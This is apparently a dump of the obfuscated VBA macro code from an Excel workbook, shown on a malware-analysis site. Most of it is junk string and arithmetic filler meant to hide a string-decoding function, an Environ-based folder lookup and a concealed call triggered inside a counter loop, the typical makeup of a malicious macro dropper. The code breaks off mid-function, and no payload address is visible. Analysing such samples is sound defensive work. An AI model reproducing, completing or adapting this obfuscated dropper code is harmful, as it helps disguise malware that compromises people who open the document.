    oCmMWCAEZx = Space(18)
    FlBBnR = UCase("ut   ruSibe")
    While ovtprQ < 4
        lDsdXSJGknpA = Left("VJjA Vl Dt ]PYvq ", 5)
        FlBBnR = Space(2)
        ovtprQ = ovtprQ + 2
    Wend

    oCmMWCAEZx = 580 + 524 + 1061
    RHffuurlwMXP = Space(6)
    MLnzQU = MLnzQU + " cgeX"
    HFfXHikpre = Space(16)
    FlBBnR = 318 + 313 + 1180
    lDsdXSJGknpA = Right(". B ?s GgBHxD%$", 3)
    HFfXHikpre = Right("($pYNJ  dpWb", 4)
    lDsdXSJGknpA = Right("$MHNY AV w gu Hl", 3)
    While ljsofy < 4
        oCmMWCAEZx = LTrim("cAl gT @ vH%NRyYZ[R")
        HFfXHikpre = Right("sh .fM^Ib &LcE", 2)
        ljsofy = ljsofy + 3
    Wend

    RHffuurlwMXP = 1857 + 1972 + 493
    While nDjAbV < 2
        oCmMWCAEZx = StrReverse("d uDJQg L]he$-dn")
        oCmMWCAEZx = 1552 + 1986 + 801
        FlBBnR = 380 - 1912 - 1150
        oCmMWCAEZx = Space(13)
        lDsdXSJGknpA = UCase("a x d ]mIg%P o[")
        lDsdXSJGknpA = "^Yxe  rV! TiG" + "UGmni  M.[FN " + "  j$c .couPM # "
        nDjAbV = nDjAbV + 3
    Wend

    oCmMWCAEZx = UCase(" WWU Gi^ pLvJ^u sT% ")
    RHffuurlwMXP = UCase("^  J%v n^fB")
    MLnzQU = MLnzQU + " #"
    FlBBnR = Left(" %  H  x  U  L", 4)
    RHffuurlwMXP = Left(" qI Enwg sLrb", 5)
    oCmMWCAEZx = Left("h-& fitD [T hN", 2)
    oCmMWCAEZx = 591 + 247 + 200
    RHffuurlwMXP = Space(12)
    lDsdXSJGknpA = RTrim("iWQz[AtybbJty")
    FlBBnR = Space(3)
    MLnzQU = Replace(WzHJM(MLnzQU), "FOLDER", Environ(WzHJM("A&G p W$pCviD( EaRAbtf  a#aO")))
    RHffuurlwMXP = RTrim("S KHA NZVr  yV")
    While vgcJhj < 5
        oCmMWCAEZx = RTrim("w XMya)x)r")
        RHffuurlwMXP = LTrim("L  o#x -#.kKm [h")
        oCmMWCAEZx = 198 + 1539 + 1284
        RHffuurlwMXP = Space(13)
        FlBBnR = UCase("VQie H$HUR jP Ap [P)")
        vgcJhj = vgcJhj + 3
    Wend

    lDsdXSJGknpA = 436 - 1371 - 1757
    For kCMXFr = 0 To 9
        HFfXHikpre = Space(14)
        lDsdXSJGknpA = LTrim("!Yo? ! q& ")
        lDsdXSJGknpA = LTrim("I] _   vGO ")
        HFfXHikpre = RTrim(" % -T Fdy A.mlNZp% ")
        lDsdXSJGknpA = LTrim("K!acATRw @&HcVw")
        lDsdXSJGknpA = Space(13)
        oCmMWCAEZx = Left(" GZ]Cqsb$.@h  ", 5)
        lDsdXSJGknpA = RTrim(" pE  q .pvoJHT")
    Next kCMXFr

    oCmMWCAEZx = UCase("VpE L Q nphL(XH$ yn")
    FlBBnR = Right(" hT WLhB hLP  F", 2)
    FlBBnR = "kJH Mc O_ v?OlUN" + " I .UbJIJl" + "f)Pr&CiwIZ"
    RHffuurlwMXP = 291 + 1793 + 887
    FlBBnR = StrReverse("R t(-.mTB l")
    lDsdXSJGknpA = "Yx cEZK # " + "m !ACO  ix(TB    Iz$" + "yDj_q@ &   e @ "
    FlBBnR = 1674 + 645 + 202
    lDsdXSJGknpA = UCase("P] E d  Qp ")
    oCmMWCAEZx = Right("j. I  yMd  wX ef$ z ", 3)
    HFfXHikpre = 1156 + 1601 + 932
    For eCYXCp = 0 To 2
        For YMjbkH = 0 To 5
            lDsdXSJGknpA = StrReverse("M D Y   U  Yn?   Gk@")
            HFfXHikpre = "(?L# (^Uzr g&I  KE " + "yJ ](yM#!  ( " + " ecxvV fIqG-$ NJGCAu"
            oCmMWCAEZx = Space(5)
            HFfXHikpre = Left("R .y&g] jq-  .", 3)
            HFfXHikpre = UCase("f t nEJ]W    JX   _")
            HFfXHikpre = RTrim("  Y -J^&DHC  d")
            FlBBnR = "NSi[gmg A -  nt" + "%b m Q  YiE?a" + "xb  bzHfJDQUjY  Q"
        Next YMjbkH

        RHffuurlwMXP = 793 - 825 - 394
        FlBBnR = Right(" u  vB@  uA Eopa ", 3)
        lDsdXSJGknpA = StrReverse("HeJ?kio  bDK$")
        FlBBnR = Right("cplV( d .vQ", 2)
        lDsdXSJGknpA = Right("# !ew[RKQAe", 4)
    Next eCYXCp

    While vETXAD < 530
        oCmMWCAEZx = RTrim("h% cblUBW?")

        If vETXAD = 338 Then
            HFfXHikpre = 529 - 348 - 401
            oCmMWCAEZx = LTrim("F  ]d   v!")
            RhtFGHhTy MLnzQU, "hreh", "tmgKVyo", "AITiQ", "OUcmwA"
        End If
    vETXAD = vETXAD + 1
    Wend
    For ZrOqgc = 0 To 6
        oCmMWCAEZx = Left("   # ozJV Vb    )A ", 4)
        RHffuurlwMXP = Right("LTLN eLAm?[vo", 3)
    Next ZrOqgc

    oCmMWCAEZx = UCase(" #U $B W p $x ynNa c")
    RHffuurlwMXP = "Qv d! VIVvGK " + " ZDlf)Gz ! Hi[pngK" + "X_xS) fmsJB"
    RHffuurlwMXP = Space(20)
    For xwEzTX = 0 To 6
        lDsdXSJGknpA = Space(9)
        RHffuurlwMXP = Space(14)
        RHffuurlwMXP = StrReverse(" I( )  XKHQ^ NFc")
        RHffuurlwMXP = LTrim("g Ohw r z  I  ")
    Next xwEzTX

    RHffuurlwMXP = 757 - 1154 - 1645
    RHffuurlwMXP = "W BTPxJKrc  L R%" + "H VSr$zQX$" + "?iN)MVK #w.XQevwE"
    HFfXHikpre = 1057 - 1205 - 270
    FlBBnR = LTrim(" ? a CQR Oh")
    For rHeKEj = 0 To 8
        RHffuurlwMXP = 1487 - 267 - 1771
        HFfXHikpre = Space(18)
        oCmMWCAEZx = 378 - 1917 - 851
        RHffuurlwMXP = UCase("k OMEm W.  NEc W")
        lDsdXSJGknpA = "eICt f dj g o" + " _ sg lj Y B# Q[A p" + "@C za sjlQ "
        lDsdXSJGknpA = StrReverse("% ?mTy o[ c)O ")
    Next rHeKEj



End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function WzHJM(MtAsrpS As String) As String
oCmMWCAEZx = 152 + 141 + 600
FlBBnR = StrReverse("c%mC[ H (^ ixI w")
lDsdXSJGknpA = 441 + 812 + 1507
For eVZCwf = 0 To 7
    HFfXHikpre = "dhAW @ LG#MGQF%  " + "Y XC BS  fGA " + "tsC?b_ -?$JB"
    lDsdXSJGknpA = Left(" $a_XNZI  T@( XW !b", 5)
Next eVZCwf
For uoyzny = 0 To 2
    While NVspYb < 5
        oCmMWCAEZx = Left(" D .ad[Gvx#l", 3)
        oCmMWCAEZx = Left("_g$QDTE&X?f", 3)
        lDsdXSJGknpA = LTrim("n-o]WeCeN  ]_c@g")
        RHffuurlwMXP = Left("#v!z R%#  uL Yk vW!", 2)
        RHffuurlwMXP = Left("O z!   r.-pz P", 5)
        FlBBnR = Right(" jEBWIknb#$ ", 3)
        RHffuurlwMXP = UCase("@ U EMt EAAvcD")
        HFfXHikpre = UCase("V QB  J^^ O")
        lDsdXSJGknpA = 1145 + 1112 + 1410
        lDsdXSJGknpA = LTrim("KZ$Ld kbVSmq ")
        NVspYb = NVspYb + 1
    Wend

    RHffuurlwMXP = Left("lTPr^CPL [Ra", 2)
    RHffuurlwMXP = 1273 + 1041 + 226
    RHffuurlwMXP = Right("y  _ p  aGZ$", 4)
    lDsdXSJGknpA = RTrim("PAl _.![ Tf &r")
Next uoyzny
For ErAePD = 0 To 2
    For hUgRLS = 0 To 5
        RHffuurlwMXP = 1702 - 411 - 1282
        RHffuurlwMXP = 438 - 584 - 776
        RHffuurlwMXP = 486 + 1773 + 385
        HFfXHikpre = LTrim("Jb XxO H rg  $ ")
    Next hUgRLS

    HFfXHikpre = 175 + 603 + 957
    FlBBnR = UCase("f dhVCOPCYa   Lyl ")
    oCmMWCAEZx = StrReverse("n X!@WX $qm r")
    FlBBnR = LTrim("M ! k ZU?K[(E")
    HFfXHikpre = 264 + 1569 + 1868
Next ErAePD
RHffuurlwMXP = Space(13)
    Dim eHPsP() As Byte
    RHffuurlwMXP = 310 + 338 + 1946
    While pBliai < 5
        For ARaodI = 0 To 10
            RHffuurlwMXP = Left(" BnP j^Aic%kM? ox", 2)
            HFfXHikpre = RTrim("BvHW KCO_&Oyvl ] # k")
            RHffuurlwMXP = 747 - 1515 - 2000
            RHffuurlwMXP = Left(" ]Lzexik # Q", 2)
            RHffuurlwMXP = RTrim("_Fv )Cv  &o ")
            HFfXHikpre = UCase("Mk uuoAyDlPvI  _")
            oCmMWCAEZx = Right("D&fA     aL M ", 4)
            RHffuurlwMXP = 1639 + 1690 + 1040
        Next ARaodI

        oCmMWCAEZx = StrReverse(" j_Z?a^$Y.")
        HFfXHikpre = Space(17)
        lDsdXSJGknpA = UCase("YUFN.) S .XS&   dd")
        HFfXHikpre = Right("P BX?]!^ #z .rYw A", 3)
        RHffuurlwMXP = StrReverse(" z yvkt]$  Gixm ")
        pBliai = pBliai + 2
    Wend
    While nZSkow < 2
        For yGzLLg = 0 To 9
            HFfXHikpre = "% Hhe# sZ nBXyT W" + "o( Ar]!-OJVF  " + "IWGFE f) %O  o"
            lDsdXSJGknpA = " u   Zszj@ ?" + "!qrzueTZ  ]c.v e rz" + "U(co$%j%^O[ )(  Xr"
            FlBBnR = 465 - 1133 - 1466
            oCmMWCAEZx = RTrim("@iG J #wUl- pWiF Is")
            RHffuurlwMXP = RTrim(") s.QbBR X(V ")
            RHffuurlwMXP = Space(4)
            RHffuurlwMXP = StrReverse("C  Z-  Tw)b  . ")
        Next yGzLLg

        FlBBnR = LTrim("D B V P TWNy v#ld")
        lDsdXSJGknpA = StrReverse("_. Yl?-LGo   ")
        HFfXHikpre = Space(17)
        oCmMWCAEZx = StrReverse("q v  oF?#[ ")
        HFfXHikpre = LTrim("?bxcoGTfA DFu")
        RHffuurlwMXP = 1118 - 472 - 292
        lDsdXSJGknpA = Right("Tg  yV[ ]W Yf @Ly.( ", 4)
        RHffuurlwMXP = 1334 + 1505 + 1086
        lDsdXSJGknpA = Space(15)
        RHffuurlwMXP = UCase("G cMNuxakG b")
        nZSkow = nZSkow + 3
    Wend
    While JOjhEc < 4
        For ErgkhG = 0 To 7
            oCmMWCAEZx = StrReverse("CWVsjib- )veJ zj CXl")
            RHffuurlwMXP = 103 - 827 - 1300
        Next ErgkhG

        lDsdXSJGknpA = 1611 + 1113 + 323
        HFfXHikpre = StrReverse(" AY.  lHj$l$KQ#xj")
        lDsdXSJGknpA = 1937 + 1864 + 427
        RHffuurlwMXP = Left(" C GvahC LqAthy(K", 2)
        JOjhEc = JOjhEc + 1
    Wend
    HFfXHikpre = RTrim("NDz bgqXigcj")
    While ayJBqH < 1
        RHffuurlwMXP = Space(4)
        oCmMWCAEZx = UCase("a Kn^rS #%[#jEP")
        oCmMWCAEZx = "] NQGBdw]S!N]Z R UT " + "?^gtLtkJhNa]nVko" + "DG Y(wB m qln c#mE"
        FlBBnR = "r A  YF U. Cn J" + "z )i$.d^TgC c(#" + "bXvV ]xv J k J) jluw"
        FlBBnR = LTrim(" ]   gAh@ ht&?")
        lDsdXSJGknpA = "[Gb & Bq-C n] o" + "pJ b HUU  [ lI" + "f)&B#UC#  QX % "
        RHffuurlwMXP = "Si& kqpiIZE" + "XDd  an(  F aNoz" + "XJU!_wZ & UEx  %b^ "
        RHffuurlwMXP = "Nn%  dpnm@ Je" + "c WkQ? h!yW_M%I" + " RDYd ?  BuqD["
        RHffuurlwMXP = 1704 - 503 - 1918
        ayJBqH = ayJBqH + 3
    Wend
    Dim JGJYrdG As Integer
    oCmMWCAEZx = RTrim("w$q&yX q@kmu rY-[!  ")
    FlBBnR = Left("eDKrEFdbJ#B%_", 5)
    lDsdXSJGknpA = 653 - 1794 - 1559
    While gQvxUa < 1
        FlBBnR = LTrim("enmVAmbsHE$qiYg ih m")
        RHffuurlwMXP = RTrim("DxJy#K] k&$.")
        HFfXHikpre = Right("s-gRgL  m qQ_sNt   ", 3)
        HFfXHikpre = Right("#GlRE&eb z", 5)
        lDsdXSJGknpA = LTrim("XZPZY- T  O#g")
        RHffuurlwMXP = LTrim("k zJ x] LVIT( ")
        RHffuurlwMXP = "O  Cy Y]( AW  tOwRR" + "?@ ioE GYB kK" + "rkqW [M #mac"
        gQvxUa = gQvxUa + 2
    Wend
    For kmuCQH = 0 To 1
        For GiVqGY = 0 To 10
            HFfXHikpre = Left("k?mLR$MV^B M g C ]", 2)
            oCmMWCAEZx = Right("I?nKW x(kX O  ", 5)
        Next GiVqGY

        lDsdXSJGknpA = Left("   @JI Q(P ]  W", 2)
        FlBBnR = LTrim("  D[ LWbqRJcsB")
        oCmMWCAEZx = "bA bmov% k?" + " o   qTu.p _m !Eoe" + "TiDqz-&] _o p@LOm"
        FlBBnR = UCase("F Tdd %]sir")
        FlBBnR = UCase("k_GJr IvL  FY!XEsz")
        HFfXHikpre = RTrim("RiSt%NVq by")
        FlBBnR = "OUgXytC  @n^yf qPW  " + "% wbwnG  ]Fvim" + "z! Tm   fCublQ c slw"
        HFfXHikpre = RTrim("w)C[pVU#.&   P hw j")
        lDsdXSJGknpA = "ZU (h z[ QGc$x^#$_!" + " oS]q  a k  F &zYb N" + "  r WV UO]T? l#-Q bK"
    Next kmuCQH
    While dZzfPs < 4
        HFfXHikpre = Right("?[YrJ?!g zj ", 2)
        HFfXHikpre = LTrim("j SEEYE  a   (aZT t?")
        lDsdXSJGknpA = Space(4)
        oCmMWCAEZx = Space(13)
        FlBBnR = 846 + 1686 + 362
        dZzfPs = dZzfPs + 2
    Wend
    RHffuurlwMXP = 257 - 1181 - 1172
    While rHtRwW < 3
        For XFFChL = 0 To 5
            oCmMWCAEZx = 1473 - 1078 - 1088
            RHffuurlwMXP = Left("zuhorlZj  uNv?i.Y^Wn", 5)
            lDsdXSJGknpA = 116 + 570 + 583
            FlBBnR = Right("q.&(  @ d X L C", 4)
            lDsdXSJGknpA = Left("a[m -GsFPx", 3)
        Next XFFChL

        oCmMWCAEZx = Left(" OucM#tHM iX  $ !R  ", 2)
        HFfXHikpre = "NB  %T EiJ@LR^PU" + " o HkF R a%_O^o" + "r   hC  O SQ"
        oCmMWCAEZx = UCase("piQn#d SCF &Y n Qeh")
        lDsdXSJGknpA = Left("a)_PTAtL) yNE _Kv ^X", 3)
        RHffuurlwMXP = UCase("m  ec @Ch mA@ Y nG")
        HFfXHikpre = "Nk) XAJLh (y wz" + "ESRni zc_@  G " + "^k bl h$l? y "
        FlBBnR = Space(14)
        lDsdXSJGknpA = LTrim(" [-AfcP BHmxP")
        HFfXHikpre = 1081 - 1365 - 1257
        rHtRwW = rHtRwW + 3
    Wend
    RHffuurlwMXP = StrReverse("KoFG!) j   ")
    FlBBnR = Space(7)
    Dim lGkhWrP(1239) As Byte
    While FGsQDC < 3
        RHffuurlwMXP = Left("FoaPxE  YnBuh ", 3)
        RHffuurlwMXP = Right("  A B L_h OsVhiW]", 3)
        lDsdXSJGknpA = Space(5)
        lDsdXSJGknpA = " &^[AhFw mJ-" + "Wl#  ]Cj J# BtiWHx!d" + "Rvd#uC[ Fw"
        lDsdXSJGknpA = StrReverse(" !iEX .A c sP n_L ")
        HFfXHikpre = Space(3)
        oCmMWCAEZx = Left("YIoH- y%Sg- u", 3)
        RHffuurlwMXP = Space(19)
        HFfXHikpre = Left(" L wE^Dyp  ", 2)
        FGsQDC = FGsQDC + 3
    Wend
    For ZVYbMa = 0 To 1
        For Pposbr = 0 To 8
            RHffuurlwMXP = UCase("R )VQf)KI ")
            lDsdXSJGknpA = 1691 + 1736 + 1012
            FlBBnR = Left(" Sp m Qf Ez& lePZ#H", 4)
            oCmMWCAEZx = Left("pbS$ tzYV O y o", 2)
            oCmMWCAEZx = UCase("W @MD z _Y_ J   I  ")
            FlBBnR = " pYVhO dxh[Ql" + " ( wr wv S.fsJH k" + "  MAj f!ru m Sn"
            lDsdXSJGknpA = 735 - 943 - 1643
        Next Pposbr

        oCmMWCAEZx = LTrim("b#wfr&ryp ")
        RHffuurlwMXP = "V?x$iE P -@EKl tzCm" + "a  A])q T b h! " + "R[rCfq&)v   )E pv "
        FlBBnR = StrReverse("@ru  D[PT ")
        lDsdXSJGknpA = 1940 + 1577 + 960
        FlBBnR = Right("X R#OHiGO q%B_$   n", 5)
        oCmMWCAEZx = Left("&b _m]tFT ", 5)
        FlBBnR = " ! WQc )U(  W  -" + " cW%IXI^   _^@-Y " + "@^Guuk PWET "
        HFfXHikpre = Right("YTuli %SJ c", 5)
        lDsdXSJGknpA = RTrim("b%  zA OA]ER")
    Next ZVYbMa
    For Lzggyu = 0 To 2
        While hxPxhS < 4
            RHffuurlwMXP = 1951 - 119 - 1972
            HFfXHikpre = LTrim("T  Kxiz?qKuU kvAU)us")
            FlBBnR = 525 + 593 + 1499
            lDsdXSJGknpA = 1411 + 865 + 1940
            HFfXHikpre = RTrim("  D?  VmP Y vr)b!V Z")
            HFfXHikpre = 767 - 1018 - 711
            FlBBnR = 1333 + 456 + 1259
            oCmMWCAEZx = Space(5)
            hxPxhS = hxPxhS + 3
        Wend

        RHffuurlwMXP = StrReverse("k v mQq[Cer   #")
        lDsdXSJGknpA = StrReverse("aHb N # Mx    R")
        lDsdXSJGknpA = 1331 + 473 + 1695
        HFfXHikpre = LTrim("J $R Ax  qa  i")
        oCmMWCAEZx = 188 + 745 + 1082
        FlBBnR = LTrim("t _j( Ze%  tv xBi")
        FlBBnR = RTrim("Ie]$sWfAag gm?& gw ")
        oCmMWCAEZx = 1980 - 1496 - 705
        HFfXHikpre = StrReverse(" $ fs]P y ?_B")
    Next Lzggyu
    For PKULSC = 0 To 3
        While NHRBnN < 5
            RHffuurlwMXP = 237 - 786 - 527
            lDsdXSJGknpA = 609 + 1181 + 1686
            FlBBnR = Space(20)
            NHRBnN = NHRBnN + 3
        Wend

        HFfXHikpre = RTrim("nYG g  fWPrPZ.ZNcL^")
        lDsdXSJGknpA = LTrim(" nQ  z  N ]eG")
        lDsdXSJGknpA = LTrim("[BNx w  kQ! r ? v?e?")
        HFfXHikpre = Right("UFx  ASJ[@) ", 2)
        lDsdXSJGknpA = RTrim("  hvoyI^$DL   FAqoe")
        oCmMWCAEZx = UCase("r   Uaev l G ")
        HFfXHikpre = Space(2)
        HFfXHikpre = Left("]MgI#A aDV", 2)
        RHffuurlwMXP = Space(2)
        FlBBnR = 1930 + 934 + 763
    Next PKULSC
    RHffuurlwMXP = 1073 - 1506 - 690
    HFfXHikpre = Space(17)
    JGJYrdG = 0
    For uByuhO = 0 To 4
        For sEnUYw = 0 To 8
            FlBBnR = Space(18)
            RHffuurlwMXP = LTrim(" #  jP _)-WlP ")
            RHffuurlwMXP = UCase("  pabQjLWSpvI")
            oCmMWCAEZx = 1107 - 1797 - 219
            FlBBnR = LTrim(" dB z@V!z Wikx")
            FlBBnR = Right("aGF tYqZ. !B?d", 2)
            oCmMWCAEZx = 1327 - 321 - 353
            HFfXHikpre = Space(8)
            FlBBnR = 934 + 1367 + 539
            lDsdXSJGknpA = LTrim(" KRc UtDnDFvdOe ")
        Next sEnUYw

        FlBBnR = LTrim("wjVa#e]P   ^sw")
        oCmMWCAEZx = UCase("  gA(UFHzRZ%pkm")
        HFfXHikpre = StrReverse(" . Ujhs_ U l")
        oCmMWCAEZx = StrReverse("Ic  ]KbCJmV")
        HFfXHikpre = Space(13)
        RHffuurlwMXP = StrReverse("[i%S nUjzP[")
        HFfXHikpre = 654 - 1063 - 1299
    Next uByuhO
    RHffuurlwMXP = LTrim("@v A  ?( .g[Ox&IEa")
    While yCEaGq < 4
        lDsdXSJGknpA = "CQe J% d &pV!E i & " + " eg@h[ w z " + " xQ & .wy--y K"
        HFfXHikpre = Left("h.)b jUc@E", 3)
        oCmMWCAEZx = StrReverse("!T%lrV  c]S")
        oCmMWCAEZx = Left("ikqQfoWTeECwL& Xs ", 2)
        HFfXHikpre = Space(3)
        FlBBnR = UCase("J  lzv#_ y")
        HFfXHikpre = Left("&uuhCm    uBz_", 4)
        lDsdXSJGknpA = 1395 - 833 - 582
        FlBBnR = Space(1)
        yCEaGq = yCEaGq + 3
    Wend
    RHffuurlwMXP = Left("]  cpMTH qLXGck p-m", 4)
    oCmMWCAEZx = UCase("dk anr (!p ")
    eHPsP = StrConv(MtAsrpS, vbFromUnicode)
    For eHhIIK = 0 To 8
        RHffuurlwMXP = 1221 - 960 - 1722
        lDsdXSJGknpA = "vjfuxa) % " + "A pC ^ ^ab" + " fb%Y  .qy  E  g "
        lDsdXSJGknpA = UCase(" aMXyEWn  @ FX")
    Next eHhIIK
    FlBBnR = UCase("$. G! _kmq ")
    For JqaEQY = 0 To 6
        RHffuurlwMXP = Space(17)
        lDsdXSJGknpA = 1227 + 1671 + 1235
        lDsdXSJGknpA = StrReverse("Z ?T  %#    @R")
        RHffuurlwMXP = RTrim("TTA&r]Bn xnY EP)]d f")
    Next JqaEQY
    For nySlRV = 0 To 9
        lDsdXSJGknpA = Right("l Z zF XAJMuwICfMsi ", 3)
        RHffuurlwMXP = RTrim("gh-MlCgBapEFB^Gvb")
        FlBBnR = Right(" e ql^n oq", 2)
        HFfXHikpre = 985 - 1924 - 461
        HFfXHikpre = Left(" FlJjyEvbpSNy WS  u", 2)
        RHffuurlwMXP = Right(" [. MF Stv.H", 4)
        lDsdXSJGknpA = LTrim("elss D  dcRMZzFQ ")
    Next nySlRV
    HFfXHikpre = UCase("  )_w  SX@s uYW%")
    For TsvYQZ = 0 To 2
        While KTJfvw < 3
            oCmMWCAEZx = "t qsFCD C." + "RyIp]VxxpCoT jB q" + "H!]r#X-xy N"
            FlBBnR = UCase("%db YNt]^^DVng xV-K")
…

Open this report in the interactive analyzer, or submit your own file for analysis.